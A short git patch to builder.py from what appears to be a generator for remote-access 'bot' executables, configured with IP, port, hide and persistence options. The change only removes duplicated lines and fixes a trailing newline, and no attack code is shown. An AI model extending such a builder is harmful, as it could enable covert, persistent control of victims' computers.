From ffe898f0595622abcccaca459ae5ff9e81bc08e5 Mon Sep 17 00:00:00 2001 From: 0x000000E2 <36421928+0x000000E2@users.noreply.github.com> Date: Mon, 11 Mar 2019 18:42:26 +0200 Subject: [PATCH] Update builder.py Duplicated code --- builder/builder.py | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/builder/builder.py b/builder/builder.py index de39508..2125a46 100644 --- a/builder/builder.py +++ b/builder/builder.py @@ -38,9 +38,6 @@ def __init__(self, ip, port, filename, delay, wait, exe, icon, hide, persist): self.tmp_dir = tempfile.mkdtemp() self.dist_path = os.path.join(self.tmp_dir, 'application') - self.output_dir = 'output' - self.dist_path = os.path.join(self.tmp_dir, 'application') - self.bot_template = 'bot' + os.path.sep + 'template_bot.py' self.bot_py_temp = 'bot' + os.path.sep + '{}.py'.format(filename) self.bot_compiled = self.dist_path + os.path.sep + '{}.exe'.format(filename) @@ -127,4 +124,5 @@ def clean_up(self): executor.start() os.system('cls' if is_win else 'clear') print('\nFinished creating {}'.format(executor.filename + '.exe' if executor.exe else executor.bot_py_temp)) - print('Look in the directory named output for your exe file' if executor.exe else 'Look in the directory named bot for your Python file') \ No newline at end of file + print('Look in the directory named output for your exe file' if executor.exe else 'Look in the directory named bot for your Python file') +